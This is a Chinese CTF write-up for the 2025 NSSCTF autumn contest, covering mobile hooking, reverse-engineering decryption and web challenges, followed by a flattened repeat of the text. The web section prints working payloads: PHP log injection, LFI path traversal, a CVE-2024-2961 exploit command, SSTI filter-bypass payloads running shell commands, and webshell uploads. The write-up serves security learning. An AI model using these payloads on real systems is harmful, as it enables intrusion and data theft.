2025年NSSCTF秋季招新赛(校外赛道)WP
字数 2894 2025-11-21 12:06:11

2025年NSSCTF秋季招新赛(校外赛道)WP教学文档

概述

本教学文档基于2025年NSSCTF秋季招新赛(校外赛道)的WriteUp,涵盖Mobile、Reverse、Web等多个方向的关键技术点。文档将详细解析每道题目的解题思路、技术原理和实现方法。


MOBILE方向

题目:催眠APP

技术点:Frida Hook、Kotlin协程延迟绕过

解题思路

  1. 目标:绕过APP中96小时(345600000毫秒)的时间限制。
  2. 工具:Frida动态插桩框架。
  3. 关键函数kotlinx.coroutines.DelayKt.delay方法。

Frida Hook脚本详解

Java.perform(function () {
    console.log("[*] Starting Hypnosis App Delay Bypass Hook...");
    var DelayKt = Java.use("kotlinx.coroutines.DelayKt");
    
    DelayKt.delay.implementation = function (timeMillis, continuation) {
        var TARGET_DELAY_MILLIS = 345600000;
        if (timeMillis.valueOf() === TARGET_DELAY_MILLIS) {
            console.warn("[!] Bypassing 96-hour delay...");
            return Java.use("kotlin.Unit").INSTANCE; // 立即返回,跳过延迟
        }
        return this.delay(timeMillis, continuation); // 其他延迟正常执行
    };
});

脚本逻辑

  • Hook DelayKt.delay方法,检测传入的延迟时间。
  • 若延迟时间为96小时,直接返回kotlin.Unit.INSTANCE,使协程立即继续执行。
  • 其他短延迟(如动画效果)正常处理。

技术原理

  • Kotlin协程的delay函数通过挂起协程实现延迟。返回Unit.INSTANCE等效于立即完成等待。
  • Frida通过替换方法实现(implementation)动态修改应用行为。

REVERSE方向

题目1:一种很新的签到

技术点:花指令去除、静态分析、异或加密

解题步骤

  1. 花指令处理

    • IDA中识别jz/jnz等干扰指令,按U取消定义。
    • 0xE8等脏指令替换为NOP,修复函数结构后按P生成伪代码。
  2. 加密逻辑分析

    • 主函数校验输入长度(27位)。
    • 加密函数sub_401000逻辑:return ((key[i % 7] ^ input[i]) + 33) ^ 0xD
  3. 解密脚本

#include <stdio.h>
int main() {
    uint8_t key[] = "ciallo~";
    unsigned char enc[] = {0x43, 0x56, 0x5E, ...}; // 密文
    for (int i = 0; i < 27; i++) {
        enc[i] = (((enc[i] ^ 0xD) - 33) ^ key[i % 7]);
        printf("%c", enc[i]);
    }
}
// 输出:NSSCTF{flower_is_beautiful}

题目2:常见加密大杂烩

技术点:TEA/XTEA/RC4/Base64组合加密

加密流程

  1. 输入32位Flag → 分组成8个32位整数。
  2. TEA加密(魔改Delta值0x4E5353):
    for (int i = 0; i < 32; i++) {
        sum += delta;
        v0 += (v1 + sum) ^ (16 * v1 + key[0]) ^ (v1>>5 + key[1]);
        v1 += (v0 + sum) ^ (16 * v0 + key[2]) ^ (v0>>5 + key[3]);
    }
    
  3. XTEA加密(魔改Delta值0x435446,密钥左移2位):
    for (int i = 0; i < 32; i++) {
        v0 += (((v1 >> 5) ^ (16 * v1)) + v1) ^ (key[sum & 3] + sum);
        sum += delta;
        v1 += (((v0 >> 5) ^ (16 * v0)) + v0) ^ (key[(sum >> 11) & 3] + sum);
    }
    
  4. RC4加密(标准算法,密钥"CreamBread")。
  5. Base64编码

解密要点

  • 逆向时需按相反顺序处理:Base64解码 → RC4解密 → XTEA解密 → TEA解密。
  • 动调提取RC4密钥流或直接逆算法。

题目3:UPX脱壳

技术点:UPX魔改壳修复

步骤

  1. 检测:Die查壳显示UPX,但标准upx -d失败。
  2. 修复:用010 Editor修改区段名(如.upx改为.text),恢复标准UPX结构。
  3. 脱壳:执行upx -d后正常分析。

题目4:debuggggg

技术点:随机数种子破解、字符移位加密

关键逻辑

  1. 初始化srand(0xABC)设置固定种子。
  2. 加密:对输入字符按类别(大小写字母、数字)进行随机移位:
    rand_val = rand() % 255;
    if (小写字母) input[i] = (input[i] - 'a' + rand_val % 26) % 26 + 'a';
    if (大写字母) input[i] = (input[i] - 'A' - rand_val % 26 + 26) % 26 + 'A';
    
  3. 解密:预生成rand()序列,反向移位。

脚本示例

srand(0xABC);
int rand_vals[32];
for (int i = 0; i < 32; i++) rand_vals[i] = rand();
// 解密时反向操作:小写字母用减法,大写字母用加法。

题目5:ez_tea

技术点:SMC自修改、反调试绕过、魔改XTEA

反调试处理

  1. 三处反调试
    • RtlGetNtGlobalFlags检测调试标志。
    • NtQueryInformationProcess检测进程调试端口。
    • IsDebuggerPresent直接检测。
  2. 绕过:动态调试时Patch相关函数或直接NOP掉退出逻辑。

SMC修复

  • initterm函数初始化时修改代码段,需动态调试还原原始函数。
  • 关键函数j_strcpy被Hook,需跟踪恢复真实密钥(示例中密钥被改为"13C67E4E4E137172")。

XTEA魔改点

  • Delta值改为0xD000721
  • 密钥索引计算:(sum >> 11) & 3((sum >> 11) ^ 1) & 3

WEB方向

题目1:SIGN IN!

技术点:Nginx日志文件包含

步骤

  1. 写入Payload:User-Agent中插入PHP代码:
    User-Agent: <?php system("cat /flag"); ?>
    
  2. 包含日志:访问/var/log/nginx/access.log执行代码。

题目2:ezez_include

技术点:CVE-2022-47615(LearnPress插件LFI)

利用

  1. 登录后台(admin/123456)。
  2. 构造URL:/wp-admin/admin.php?page=lp-orders&view-order=../../../flag

题目3:我是签到

技术点:CVE-2024-2961(PHP文件读取至RCE)

漏洞利用

  1. 环境检测:验证data://php://filter包装器可用。
  2. 堆地址泄露:通过脚本获取system函数地址(例:0x7fa7d7a00040)。
  3. 执行命令:写入文件后包含:
    python exp.py http://target/index.php "env>1.txt" -H 0x7fa7d7a00040
    

题目4:我是复读机

技术点:Flask Session伪造、SSTI绕过

步骤

  1. Session破解:从源码获取密钥,伪造Admin Session。
  2. SSTI Payload:绕过关键字过滤:
    {{g['po''p']['g''lobals']['b''uiltins']['im''port']('os')['po''pen']('cat /f*')['re''ad']()}}
    
    • 用单引号分割关键字,中括号替代点号。

题目5:DANGEROUS TRIAL

技术点:无参RCE、代码审计

关卡突破

  1. 第一关:弱类型比较intval($raw) === 114514 && $raw !== '114514' → Payload: cat=114514a
  2. 第二关:文件内容校验file_get_contents($pt) == "rimuru" → 使用Base64编码绕过:
    Slime=php://filter/convert.base64-decode/resource=data://text/plain,cmltdXJ1
    
  3. 第三关:无参RCE,利用内置函数如getallheaders()

题目6:Punishing

技术点:JWT密钥爆破、文件上传绕过

JWT爆破

  • 密钥模式:Selena***(后三位未知)。
  • 脚本爆破得到密钥:Selenahyw

文件上传

  1. 上传.htaccess
    AddType application/x-httpd-php .jpg
    php_value auto_append_file "php://filter/convert.base64-decode/resource=3.jpg"
    
  2. 上传图片马3.jpg,内容为Base64编码的Shell代码。

题目7:诚实大厅

技术点:SSTI无回显利用、文件操作

Payload构造

  1. 创建目录
    {{os.popen('mkdir /app/static')|attr('read')()}}
    
  2. 写入Flag
    {{os.popen('cat /flag > /app/static/flag')|attr('read')()}}
    
  3. 直接访问/static/flag下载文件。

题目8:光能族

技术点:RC4签名验证、文件上传绕过

签名算法

  • 密钥:monika creambread
  • 签名计算:RC4(SECRET_KEY, MD5(文件名)) + MD5(文件内容)

上传绕过

  • 后缀过滤:使用phtml替代php
  • 计算合法签名后上传Webshell。

总结

本赛题涵盖Mobile动调、Reverse花指令与加密算法、Web漏洞利用等多个层面。关键技能包括:

  1. 动态分析:Frida/Xposed Hook、动调脱壳、SMC修复。
  2. 加密算法:TEA/XTEA/RC4的识别与逆向。
  3. Web漏洞:文件包含、SSTI、JWT伪造、无参RCE等组合利用。
  4. 脚本开发:自动化爆破、解密算法实现。

通过以上技术点的深入掌握,可有效解决CTF中的复杂题目。

2025年NSSCTF秋季招新赛(校外赛道)WP教学文档 概述 本教学文档基于2025年NSSCTF秋季招新赛(校外赛道)的WriteUp,涵盖Mobile、Reverse、Web等多个方向的关键技术点。文档将详细解析每道题目的解题思路、技术原理和实现方法。 MOBILE方向 题目:催眠APP 技术点 :Frida Hook、Kotlin协程延迟绕过 解题思路 目标 :绕过APP中96小时(345600000毫秒)的时间限制。 工具 :Frida动态插桩框架。 关键函数 : kotlinx.coroutines.DelayKt.delay 方法。 Frida Hook脚本详解 脚本逻辑 : Hook DelayKt.delay 方法,检测传入的延迟时间。 若延迟时间为96小时,直接返回 kotlin.Unit.INSTANCE ,使协程立即继续执行。 其他短延迟(如动画效果)正常处理。 技术原理 Kotlin协程的 delay 函数通过挂起协程实现延迟。返回 Unit.INSTANCE 等效于立即完成等待。 Frida通过替换方法实现( implementation )动态修改应用行为。 REVERSE方向 题目1:一种很新的签到 技术点 :花指令去除、静态分析、异或加密 解题步骤 花指令处理 : IDA中识别 jz / jnz 等干扰指令,按 U 取消定义。 将 0xE8 等脏指令替换为 NOP ,修复函数结构后按 P 生成伪代码。 加密逻辑分析 : 主函数校验输入长度(27位)。 加密函数 sub_401000 逻辑: return ((key[i % 7] ^ input[i]) + 33) ^ 0xD 。 解密脚本 : 题目2:常见加密大杂烩 技术点 :TEA/XTEA/RC4/Base64组合加密 加密流程 输入32位Flag → 分组成8个32位整数。 TEA加密 (魔改Delta值 0x4E5353 ): XTEA加密 (魔改Delta值 0x435446 ,密钥左移2位): RC4加密 (标准算法,密钥 "CreamBread" )。 Base64编码 。 解密要点 逆向时需按相反顺序处理:Base64解码 → RC4解密 → XTEA解密 → TEA解密。 动调提取RC4密钥流或直接逆算法。 题目3:UPX脱壳 技术点 :UPX魔改壳修复 步骤 检测 :Die查壳显示UPX,但标准 upx -d 失败。 修复 :用010 Editor修改区段名(如 .upx 改为 .text ),恢复标准UPX结构。 脱壳 :执行 upx -d 后正常分析。 题目4:debuggggg 技术点 :随机数种子破解、字符移位加密 关键逻辑 初始化 : srand(0xABC) 设置固定种子。 加密 :对输入字符按类别(大小写字母、数字)进行随机移位: 解密 :预生成 rand() 序列,反向移位。 脚本示例 题目5:ez_ tea 技术点 :SMC自修改、反调试绕过、魔改XTEA 反调试处理 三处反调试 : RtlGetNtGlobalFlags 检测调试标志。 NtQueryInformationProcess 检测进程调试端口。 IsDebuggerPresent 直接检测。 绕过 :动态调试时Patch相关函数或直接NOP掉退出逻辑。 SMC修复 initterm 函数初始化时修改代码段,需动态调试还原原始函数。 关键函数 j_strcpy 被Hook,需跟踪恢复真实密钥(示例中密钥被改为 "13C67E4E4E137172" )。 XTEA魔改点 Delta值改为 0xD000721 。 密钥索引计算: (sum >> 11) & 3 和 ((sum >> 11) ^ 1) & 3 。 WEB方向 题目1:SIGN IN ! 技术点 :Nginx日志文件包含 步骤 写入Payload :User-Agent中插入PHP代码: 包含日志 :访问 /var/log/nginx/access.log 执行代码。 题目2:ezez_ include 技术点 :CVE-2022-47615(LearnPress插件LFI) 利用 登录后台(admin/123456)。 构造URL: /wp-admin/admin.php?page=lp-orders&view-order=../../../flag 。 题目3:我是签到 技术点 :CVE-2024-2961(PHP文件读取至RCE) 漏洞利用 环境检测 :验证 data:// 和 php://filter 包装器可用。 堆地址泄露 :通过脚本获取system函数地址(例: 0x7fa7d7a00040 )。 执行命令 :写入文件后包含: 题目4:我是复读机 技术点 :Flask Session伪造、SSTI绕过 步骤 Session破解 :从源码获取密钥,伪造Admin Session。 SSTI Payload :绕过关键字过滤: 用单引号分割关键字,中括号替代点号。 题目5:DANGEROUS TRIAL 技术点 :无参RCE、代码审计 关卡突破 第一关 :弱类型比较 intval($raw) === 114514 && $raw !== '114514' → Payload: cat=114514a 。 第二关 :文件内容校验 file_get_contents($pt) == "rimuru" → 使用Base64编码绕过: 第三关 :无参RCE,利用内置函数如 getallheaders() 。 题目6:Punishing 技术点 :JWT密钥爆破、文件上传绕过 JWT爆破 密钥模式: Selena*** (后三位未知)。 脚本爆破得到密钥: Selenahyw 。 文件上传 上传 .htaccess : 上传图片马 3.jpg ,内容为Base64编码的Shell代码。 题目7:诚实大厅 技术点 :SSTI无回显利用、文件操作 Payload构造 创建目录 : 写入Flag : 直接访问 /static/flag 下载文件。 题目8:光能族 技术点 :RC4签名验证、文件上传绕过 签名算法 密钥: monika creambread 。 签名计算: RC4(SECRET_KEY, MD5(文件名)) + MD5(文件内容) 。 上传绕过 后缀过滤:使用 phtml 替代 php 。 计算合法签名后上传Webshell。 总结 本赛题涵盖Mobile动调、Reverse花指令与加密算法、Web漏洞利用等多个层面。关键技能包括: 动态分析 :Frida/Xposed Hook、动调脱壳、SMC修复。 加密算法 :TEA/XTEA/RC4的识别与逆向。 Web漏洞 :文件包含、SSTI、JWT伪造、无参RCE等组合利用。 脚本开发 :自动化爆破、解密算法实现。 通过以上技术点的深入掌握,可有效解决CTF中的复杂题目。